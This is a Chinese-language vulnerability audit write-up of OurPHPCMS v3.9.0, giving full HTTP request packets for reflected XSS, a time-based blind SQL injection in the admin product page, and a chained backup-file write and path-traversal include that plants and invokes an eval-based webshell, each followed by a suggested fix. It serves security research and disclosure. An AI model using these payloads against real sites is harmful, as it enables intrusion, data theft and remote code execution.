首页 » SEO优化 » phpxmpphp技巧_OurPHPCMS审计浅析

phpxmpphp技巧_OurPHPCMS审计浅析

访客 2024-11-19 0

扫一扫用手机浏览

文章目录 [+]

可以在后台看到版本是v3.9.0(20211202),将zip解压一下,然后安装。

此CMS在诸多地方采取了自己设计的极为严格的敏感词防护,具有一定效果,但仍存在一点漏洞。
鉴于此CMS没有严格采取MVC架构,先考试测验用Seay扫一下敏感操作点。

phpxmpphp技巧_OurPHPCMS审计浅析

前台审计

前台的紧张成果是直接扫出几处反射型XSS,没有实际意义,随便看看就好,前面所述的故意思的漏洞在后台。

phpxmpphp技巧_OurPHPCMS审计浅析
(图片来自网络侵删)
wap

先看wap目录下的敏感操作点,在/client/wap/ourphp_password.class.php中可能有XSS。

可以看到一个关键参数是$temptype,不过在ourphpcms/client/wap/ourphp_template.class.php中没有直接定义,

试着访问了一下/client/wap/ourphp_page.class.php,创造这几个class文件是无法直接访问的,须要通过index.php或search.php中的include才能访问。

两条线索结合一下,结合字符串查找,不难找出$temptype的赋值在ourphpcms/client/wap/ourphp_system.class.php之中,可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

XSS剖析

这里的这个$ourphp_weburl是关键点,后面的几个变量都与其有关,

这里的$temptype掌握为userpassword.html,与

这行静态检讨的结果对应。
接下来跟进到ourphp_template.class.php,

下方有个switch,

这里是唯一可以正常访问到ourphp_password.class.php的点,跟进这个文件。

这之中有很多变量赋值,不过对我们实际上没有影响,直接向下走,

进入到这里的判断,可以看到有直接输出。
这个CMS的防护机制的思路是涉及到敏感操作时再调用干系函数进行防护,这里显然是没有在意。

payload

GET /client/wap/?user=telcode&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-userpassword.html HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1

以弹窗考验效果。

修复

在/client/wap/ourphp_password.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

其它

这里的几处XFF是渲染到模板里的,没进数据库,该当效果不大。

这里的这个变量覆盖浸染也有限,可能须要深入研究,暂且不表。

web

这里有个include,但是后缀名受限定,只能是php,这就哀求我们上传php文件,这样的话这个文件包含点就有些鸡肋了,不如直接找文件上传漏洞。

userXSS1剖析

类似的user里也有可能的XSS漏洞,在/client/user/ourphp_password.class.php中,

同样找到该行,

/client/user/ourphp_page.class.php这几个class文件是无法直接访问的,须要通过index.php、search.php或其它文件中的include才能访问。

两条线索结合一下,结合字符串查找,不难找出得当的对/client/user/ourphp_page.class.php文件包含在client/user/ourphp_template.class.php之中,

这里的switch在上面,

影响的变量是$temptype,这个变量的赋值可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

其余再设计好$_GET['jsoncallback']为JS语句即可。
payload如下,

GET /client/user/index.php?user=telcode&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-password.html HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1

此处效果为弹窗。

修复

在/client/user/ourphp_password.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

XSS2剖析

在 /client/user/ourphp_userreg.class.php中,也有处XSS漏洞。

这里看起来是两处,实际上只要进入个中一个if就会触发个中的exit,以是只能触发一个。

/client/user/ourphp_userreg.class.php有检讨不能直接访问,

全局搜索一下这个文件名,

可以看到是在/client/user/ourphp_template.class.php中的一个case里被include,接下来要找如何触发这个case。

这里的switch在上面,

影响的变量是$temptype,这个变量的赋值可以通过$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);这一行进行赋值。

其余再设计好$_GET['jsoncallback']为JS语句即可。
布局的数据包如下,

GET /client/user/index.php?reg=1&code=2&jsoncallback=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E-reg.html HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1

不过碰着一个问题,

由于这次测试时已经登录,以是这里的session的干系值可能不为空,就会退出。
办理方法有二:一是设置这里哀求的$_GET['introducer']值,二是索性删掉HTTP包里的cookie字段(仅删除掉个中的introducer_userid=1;是无效的)。

此处额外添加了参数,即可实现弹窗效果。

修复

在 /client/user/ourphp_userreg.class.php中的echo $_GET['jsoncallback'] . "(".json_encode($msg).")";加上htmlspecialchars()即可。

后台审计SQL注入剖析

Seay扫出了这个,

与之类似的还有/client/manage/ourphp_productedit.php,

大体看一下可以创造二者的代码逻辑基本同等,审计其一即可。
下面开始对/client/manage/ourphp_product.php的审计,这是一个后台文件,须要管理员权限才能访问,

一开始可以看到一个大的if-elseif,这里我们肯定是要进入elseif ($_GET["ourphp_cms"] == "add")这个分支的,这个分支才有更多的逻辑操作。

进入这个分支之后,第一个if,即if ($OP_Class[0] == 0)可以不管,跟踪一下可以创造个中的$ourphp_adminfont是写去世的。

连续向下走,

可以看到很多地方都是调用了admin_sql进行防护的,

这个防护过滤的关键词很多,不好绕,连续向下审计,不难创造,在到达$sql = $db -> create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);这一行之前的数据库操作都有admin_sql或者intval这样的防护,并不好利用。

接下来是这一行,也是关键点之一,

这里的关键变量是$optitleid,向上追溯可以看到其来源是$_POST["optitleid"]这个数组,

浏览器中访问/client/manage/ourphp_product.php,

可以看到是一个添加商品的页面,随意写点信息提交并抓包,

添加optitleid参数,

经动态调试创造了一个问题,

这里还须要POST传一个op参数,否则optitleid将被置空,后面就失落去浸染了。

于是在原来的正常的数据包后加上&optitleid[]=1'&optitleid[]=2'&op[]=1&op[]=2&op[]=3,再发包。

此时即可顺利抵达$sql = $db -> create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);,

这里的$id参数没有被单引号保护住,所以是注入的关键,此时我们可以看到$id为1',这里由于是两层循环,以是这里的$db->create()可能会实行多次,

跟进create函数,可以看到单引号被成功逃逸,当然这里实际上不须要这个单引号,直接写sleep(5)这样的韶光注入或者根据回显来布尔注入即可(这里不会回显报错,以是无法报错注入;update语句也没法联合注入,盲注是个好的选择)。

漏洞是存在的,但是实际上这个点没法利用,比如我们传optitleid[]='&optitleid[]=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3这样的payload,

这里有一处$aa = explode(",",$optitleid);,会将前面的$optitleid = implode(',',$_POST["optitleid"]);得到的结果拆分开,形成多个数组,我们的一整句payload会被拆散,效果如下,

这样的话,无论是布尔盲注还是延时注入的payload都会被拆开,实际上无法实行。

连续审计client/manage/ourphp_product.php的下半部分,可以看到有一个超长的行,

$query = $db -> insert("`ourphp_product`","`OP_Class` = '".$OP_Class[0]."',`OP_Lang` = '".$OP_Class[1]."',`OP_Title` = '".admin_sql($_POST["OP_Title"])."',`OP_Number` = '".admin_sql($_POST["OP_Number"])."',`OP_Goodsno` = '".admin_sql($_POST["OP_Goodsno"])."',`OP_Brand` = '".admin_sql($_POST["OP_Brand"])."',`OP_Market` = '".admin_sql($_POST["OP_Market"])."',`OP_Webmarket` = '".admin_sql($_POST["OP_Webmarket"])."',`OP_Stock` = '".admin_sql($_POST["OP_Stock"])."',`OP_Usermoney` = '".$OP_Usermoney."',`OP_Specificationsid` = '".$optitleid."',`OP_Specificationstitle` = '".$optitle."',`OP_Specifications` = '".$OP_Specifications."',`OP_Pattribute` = '".$OP_Pattribute."',`OP_Minimg` = '".$OP_Minimg."',`OP_Maximg` = '".$OP_Maximg."',`OP_Img` = '".$OP_Img."',`OP_Content` = '".admin_sql($_POST["OP_Content"])."',`OP_Down` = '2',`OP_Weight` = '".intval($_POST["OP_Weight"])."',`OP_Freight` = '".intval($_POST["OP_Freight"])."',`OP_Tag` = '".$wordtag."',`OP_Sorting` = '".admin_sql($_POST["OP_Sorting"])."',`OP_Attribute` = '".$OP_Attribute."',`OP_Url` = '".admin_sql($_POST["OP_Url"])."',`OP_Description` = '".compress_html($OP_Description)."',`time` = '".admin_sql($_POST["time"])."',`OP_Integral` = '".admin_sql($_POST["OP_Integral"])."',`OP_Integralok` = '".admin_sql($_POST["OP_Integralok"])."',`OP_Integralexchange` = '".admin_sql($_POST["OP_Integralexchange"])."',`OP_Suggest` = '".admin_sql($_POST["OP_Suggest"])."',`OP_Productimgname` = '".admin_sql($OP_Productimgname)."',`OP_Usermoneyclass` = '".intval($_POST['OP_Usermoneyclass'])."',`OP_Tuanset` = '".intval($_POST['OP_Tuanset'])."',`OP_Tuanusernum` = '".intval($_POST['OP_Tuanusernum'])."',`OP_Tuantime` = '".admin_sql($_POST['OP_Tuantime'])."',`OP_Couponset` = '".admin_sql($_POST['OP_Couponset'])."',`OP_Buyoffnum` = '".intval($_POST['OP_Buyoffnum'])."'","");

大部分的点都有admin_sql或者intval防护,不过由个中的

`OP_Specificationsid` = '".$optitleid."'

这部分可以看出,这里是没有严格防护的,单引号的防护可以被绕过,加上如下的payload,

optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3

调试剖析一下,先看看刚才的create部分,

sleep(5)在这里被拆分出来,

以是这里就会有一次延时,连续向后走,跟进$db -> insert,查看其终极拼接成的sql语句,

此处成功注入,可以实现延时的效果(第二次延时),

从测试结果中可以看到,在删除了Cookie中的XDEBUG_SESSION=PHPSTORM停滞调试之后,延时达到了15秒,类似的也写出脚本进行信息获取,不过要把稳写脚本时的判断条件应为2倍时延。

终极数据包如下。

POST /client/manage/ourphp_product.php?ourphp_cms=add HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 897Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/client/manage/ourphp_product.phpCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1OP_Class=11%7Ccn&OP_Title=111&OP_Minimg=&OP_Maximg=&OP_Number=OP20230115094805&OP_Goodsno=OP20230115094805&OP_Market=0.00&OP_Webmarket=0.00&OP_Usermoneyclass=1&OP_Userj%5B%5D=1&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=2&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=3&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=4&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Userj%5B%5D=5&OP_Userj%5B%5D=0.00&OP_Userj%5B%5D=%7C&OP_Brand=0&OP_Stock=100&select=0&OP_Weight=1&OP_Freight=1&OP_Sorting=99&OP_Url=&OP_Tag=&OP_Description=&OP_Integral=0.00&OP_Integralok=0&OP_Integralexchange=0.00&OP_Tuanset=1&OP_Tuanusernum=0&OP_Tuantime=&OP_Couponset=0&OP_Buyoffnum=0&OP_Suggest=&time=2023-01-15+09%3A48%3A05&OP_Content=&OP_Img=&submit=%E6%8F%90+%E4%BA%A4&optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select%20database()),1,1))>1,sleep(5),0))%23&op[]=1&op[]=2&op[]=3修复

将$optitle改为admin_sql($optitle)。

SQL注入2(失落败)

这里的SQL注入闭合掉了`,但受限于无法实行多语句,以是没能成功,将数据包与终极的效果直接贴出,感兴趣的师傅可以自行剖析一下。

POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 494Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/client/manage/ourphp_bakgo.php?&framename=mainCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: frameSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1faisunsql_postvars=AAkDW0kSCARQXxpeQFhfA0ZdRQlUClJdREQNCA8IBAdaQA9WCENWVzsNV0tGGwkVCAsPQ10MVlRcDlkSQRMPRFsCBFsQBVBqERZdSlxYXwMQCUZbBVkXR18JQkMOQg4GUAkXBVA%2BQlQXFk9XQF0QXUEIAVsTEVpaREQNEg8IDhUFUWoFUA9TWAFHA0sIDwhEXUdHEVkTFw5DXAdSDxNZThJCWT5EBEBGDQpWGglKCFAIEABPBk0HAxJdSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad%5D=2636%2C73&fsqltable%5Bourphp_admin%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/2023011511&page=1

SHOW CREATE TABLE `ourphp_ad`;select//sleep(5);#ourphp_admin`后台写文件getshell

此处漏洞是我在本次审计过程中创造的比较故意思的点,本来没以为这是一处漏洞,但是经由耐心跟随与绕过,终极理清了利用思路:备份数据库文件合营文件包含getshell。

写文件

Seay扫描的干系结果如下,

实际上,这里一看有点像假的点,毕竟Seay的浸染紧张是创造敏感操作点而已,像这种写文件/包含文件的点大都是误报。
不过本CMS中,这样的点实际上并不多,好奇心使令着我连续探索,经由深入研究创造,经由二者的组合,这里的漏洞点是可以发挥效果的,先看fwrite($fp,$data);。

/client/manage/ourphp_bakgo.php中的writefile函数如下,

function writefile($data,$method='w'){ global $fsqlzip,$_POST;; $file = "{$_POST[filename]}_pg{$_POST[page]}.php"; $fp=fopen("$_POST[dir]/$file","$method"); flock($fp,2); fwrite($fp,$data);}

可以看到这里有比较明显的写文件操作,而且是写文件名可控的PHP文件,向上追溯调用了writefile的点,

有两处,第二处的参数$data是写去世的,不好利用,第一处在dealdata函数中,

function dealdata($data){ global $current_size,$tablearr,$writefile_data,$_POST;; $current_size += strlen($data); $writefile_data .= $data; if($current_size>=intval($_POST["filesize"])1024){ $current_size=0; $writefile_data .= "\r\n?".">"; writefile($writefile_data,"w"); $_POST[page]=intval($_POST[page])+1; fheader(); echo tablestart("正在从数据库'$_POST[db_dbname]'中导出数据……","98%"); ... exit(); }}

连续向上跟进dealdata函数,共有4处,都在sqldumptable函数中,个中好用的是第一处,

function sqldumptable($table,$tableid,$part=0) { if($part) global $lastcreate_temp,$current_size,$_POST,$db,$ourphp; //structure if($tableid >= intval($_POST[nextcreate]) or $part==0){ @$query = $db -> create("SET SQL_QUOTE_SHOW_CREATE = 1",2); $query = $db -> create("SHOW CREATE TABLE `$table`",2); $row = $db -> whilego($query); $sql = str_replace("\n","\\n",str_replace("\"","\\\"",$row[1])); $sql = preg_replace("/^(CREATE\s+TABLE\s+`$table`)/mis","",$sql); $dumpstring = "create(\"$table\",\"$sql\");\r\n\r\n"; $_POST[nextcreate]++; dealdata($dumpstring); } ...

连续向上跟进sqldumptable函数,在/client/manage/ourphp_bakgo.php中只有如下这一处调用,

可以看到,这里的两个关键变量为:$_POST[tabledumping]和$tablearr,$_POST[tabledumping]为直接可控的,$tablearr向上追溯可以创造来自$_POST[fsqltable],实际上也是可控的。

后台访问http://127.0.0.1/client/manage/ourphp_bakgo.php,可以看到这个页面的功能是备份数据表。

点击页面最下方的”下一步“并抓包,可以看到有一个POST参数:fsqltable,这是一个数组,其键名为这个页面中展示的诸如ourphp_admin这样的表名,终极会在代码中转为$tablearr参数并传入sqldumptable函数。

有了这些信息,我们再回过分来看sqldumptable函数,

这里的$table变量经拼接后传入dealdata函数,

做了一些拼接后,将字符串写入文件,写文件/function/backup/2023011517/index_pg1.php(备份文件名)的效果如下,

可以看到这里除了有在sqldumptable函数中看到的create()函数,还有一些不可控的前缀和后缀,后缀是"\r\n?".">"这样的字符串,不用太关注,重点须要关注前缀if(!defined('VERSION')){echo "<meta http-equiv=refresh content='0;URL=index.php'>";exit;},这起到了很好的限定造用,就算我们写入了shell,直接访问shell时也会由于没有定义VERSION这个常量而exit,导致无法利用webshell。

文件包含

想要破解这个问题,就要找到一个文件,个中定义了VERSION这个常量,并且能够利用include来进行文件包含,经由搜索,client/manage/ourphp_bakgo.php可以间接知足条件,

这里的$data参数是勾引文件的内容,个中有define("VERSION","'.VERSION.'");来定义了VERSION这个常量,

$data中也有一处可控的文件包含点,接下来$data被写入文件,这个文件名也可控。

$data被写入的这个文件,便是破题的关键,有了它,就能将我们写入的webshell真正的用起来。

接下来我们须要得到一个这样的赞助文件,前辈行正常的备份要求,

得到如下页面,

这里须要设置一个数据导入密码,在访问导入功能的页面时须要输入这个密码,

接下来便是一个提示,

查看文件,

可以看到已经具备了我们须要的两个关键点:define("VERSION","1.1");和include("index_pg$_POST[loadpage].php");,此时可以利用webshell。

写webshell

正式利用之前,还须要办理一个问题,受限于写文件的点,我们写入的webshell的格式是这样的。

在调用我们的eval()之前,必定会调用create函数,若是直接访问webshell,则可能会因不存在create函数而报一个warning,但我们是通过起到备份数据表功能的文件function/backup/2023011522/index.php来调用的这个webshell,而这个起到备份数据表功能的文件中是定义了create函数的。

function query($sql){ global $_POST,$db; if(!$db -> create($sql,2)){ echo "<BR><BR><font color=red>MySQL语句缺点!
您可能创造了程序的BUG!
<a href=\"http://www.ourphp.net\" target=\"_blank\">请报告开拓者。
</a> <BR>版本:V1.1<BR>语句:<XMP>$sql</XMP>缺点信息: ".$db -> error()." </font>" ; if(trim($_POST[db_temptable])) query("DROP TABLE IF EXISTS `$_POST[db_temptable]`;"); exit; }}function create($table,$sql){ global $_POST,$db; if(!trim($_POST[db_temptable])){ do{ $_POST[db_temptable]="_ourphp_sql".rand(100,10000); }while(@$db -> create("select from `$_POST[db_temptable]`",2)); } query("CREATE TABLE `$_POST[db_temptable]` $sql"); if(!$_POST[db_safttemptable]) query("DROP TABLE IF EXISTS `$table`;");}

这里有个<font color=red>非常致命</font>的点,便是query函数中的exit,如果触发了exit,全体程序就会退出,我们的webshell仍旧失落效。
剖析一下代码逻辑,可以看到create中调用了query,query中如果$db -> create($sql,2)为false,即$db -> create($sql,2)实行失落败,则会触发exit。

为了不触发exit,我们要秉持如下的原则:1、只管即便少的实行SQL语句,多一次实行就多一次犯错的机会;2、只管即便担保SQL语句在语法上是精确的。
为了只管即便少的实行SQL语句,在访问function/backup/2023011522/index.php进行调用webshell时,我们可以让$_POST[db_temptable]和$_POST[db_safttemptable]不为空,不过关键点还是要让query中的$db -> create($sql,2)实行成功,而query($sql)中的$sql是

("CREATE TABLE `$_POST[db_temptable]` $sql")

实际上这之中的$sql是我们写文件可控的,

以是我们可以令$_POST[db_temptable]为一个表名,同季候create的第一个参数为一个表名且第二个参数($sql)为(Id_P int)以拼接成一句完全的SQL语句。

调用webshell的滋扰办理了,我们将正常的向/client/manage/ourphp_bakgo.php的备份要求的数据包进行变动,得到写入webshell的第一代payload如下,

POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 499Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/client/manage/ourphp_bakgo.php?&framename=mainCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: frameSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad`%23","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/202301151194&page=1

个中,

faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d

这一段算是管理员的口令,是自动天生的,我们保持住即可,不用特殊关注;

fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224

这一段是核心,便是表名,在上面的小节的剖析中我们可以看到这里将被写入php文件,这里有一点小细节,便是fsqltable%5B%5D解码后实是fsqltable[],便是说POST中的fsqltable变量是个数组,为了避免与fsqltable[]的括号碰撞,我在$_POST{cmd}没有利用[],而是利用的{}(当然这个细节也可能是多此一举)。

正片开始,跟踪剖析一下,

由于传了action=databackup这样的参数,会进入这个分支,

接下来进入if($_POST[back_type]=="partsave")这一部分 ,

连续向下走,会有创建目录的操作,

这个无需关注,连续向下会有一个小拦路虎,

这里会检讨$_POST[dir]这个目录,如果个中已经有备份文件,则会报错,就无法实行后面的代码了,以是我们要掌握$_POST[dir]为一个未利用过的目录名,如这里的dir=../../function/backup/202301151194便是在正常天生的文件名../../function/backup/2023011511之后多加了94这两个字符。

连续跟进,

这里拼接了前面提到的if(!defined('VERSION')){echo "<meta http-equiv=refresh content='0;URL=index.php'>";exit;}这个校验,并将我们的参数

fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224

传入sqldumptable函数,连续跟进,

一个小插曲是,这里虽然有$db->create(),也便是ourphp中的数据库操作,而且$table变量也是完备可控的,但是这里并不便于SQL注入,缘故原由如下,

跟进可以看到,这里调用的是mysqli_query,只能实行单语句,就算闭合了这个反引号,也无法注入第二句,再加上这里完备没有回显,得考虑韶光盲注,但SHOW CREATE TABLE这样的语句也不便于盲注,以是就不再关注这个SQL查询,重点关注代码实行,跟进dealdata($dumpstring);,

连续跟进writefile($writefile_data,"w");,

不丢脸出,此时的$data可控,$file = "{$_POST[filename]}_pg{$_POST[page]}.php"也是可控的,路径$_POST[dir]也可控,终极写文件的效果如下,

可以看到,此时的webshell已经被顺利写入,#也注释掉了后面的滋扰字符,它成了一个可以利用的webshell,接下来要做的便是调用它。

调用webshell

上面提到,为了不触发exit,我们要秉持如下的原则:1、只管即便少的实行SQL语句,多一次实行就多一次犯错的机会;2、只管即便担保SQL语句在语法上是精确的。
为了只管即便少的实行SQL语句,在访问function/backup/2023011522/index.php进行调用webshell时,我们可以让$_POST[db_temptable]和$_POST[db_safttemptable]不为空,

先访问给我们的这个备份文件的链接,

输入密码,发送并抓包改包,修正为如下的payload,

POST /function/backup/2023011522/index.php?&framename=main HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 159Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/function/backup/2023011517/index.php?&framename=mainCookie: PHPSESSION=kcais6rfp5ouj448jrrnouql94; PHPSESSID=bjbqt41a1gcls71rf8q81i3lq3; introducer_userid=1; XDEBUG_SESSION=PHPSTORMUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: frameSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1db_pass=1&nextpgtimeout=2&db_safttemptable=1&action=%E5%AF%BC%E5%85%A5&loadpage=/../../202301151194/_pg1&cmd=print_r(scandir("../../"));&db_temptable=ourphp_ad

这里的db_temptable=ourphp_ad和webshell中的ourphp_ad是表名,只管即便保持同等就可以(缘故原由不才面讲到),该当可以换成别的,不是关注点。

接下来调试,先来到文件包含点,

这里虽然有个前缀index_pg,但是可以用/../../绕过,

接下来跟进create函数,

可以看到此时的完全的sql语句是个正常的语句,跟进这里的query函数,

可以看到这里的返回值是true,

也就避开了这个exit,接下来回到create($table,$sql),

接下来!$_POST[db_safttemptable]是false,就不会实行后面的sql语句了,不过$table是我们可控的,这里就算实行该当也问题不大,不是重点不再穷究。

接下来即可看到结果,

不过由于这里创建了ourphp_ad这个表,下一次再访问这个webshell时还会再实行一次

CREATE TABLE `ourphp_ad` (Id_P int)

这样的话会报错,

不过我们掌握了db_temptable=ourphp_ad和webshell中的表名ourphp_ad是同等的,这样一来的话,偶数次访问时就会再把ourphp_ad这个表给DROP,以是奇数次可以用,偶数次不能用,以为麻烦可以直接用这个webshell再另写一个webshell即可。

修复

修复有如下几个思路,

1、毁坏掉对写入的webshell 的调用:在include("index_pg$_POST[loadpage].php");之前去除掉$_POST[loadpage]中的../。

2、阻挡写入webshell,在sqldumptable函数中做防护,

function sqldumptable($table,$tableid,$part=0) { if($part) global $lastcreate_temp,$current_size,$_POST,$db,$ourphp; //structure if($tableid >= intval($_POST[nextcreate]) or $part==0){ @$query = $db -> create("SET SQL_QUOTE_SHOW_CREATE = 1",2); $query = $db -> create("SHOW CREATE TABLE `$table`",2); $row = $db -> whilego($query); $sql = str_replace("\n","\\n",str_replace("\"","\\\"",$row[1])); $sql = preg_replace("/^(CREATE\s+TABLE\s+`$table`)/mis","",$sql); $dumpstring = "create(\"$table\",\"$sql\");\r\n\r\n"; $_POST[nextcreate]++; dealdata($dumpstring); } ...

去除掉$table变量中的双引号,在拼接处的前一行加上$table = str_replace("\"","",$table);。

from https://xz.aliyun.com/t/12566

标签:

相关文章

介绍百度网盘,云端存储时代的创新先锋

随着互联网技术的飞速发展,云计算已经成为现代生活不可或缺的一部分。而在这其中,百度网盘作为国内领先的云存储服务提供商,以其卓越的性...

SEO优化 2025-01-03 阅读1 评论0

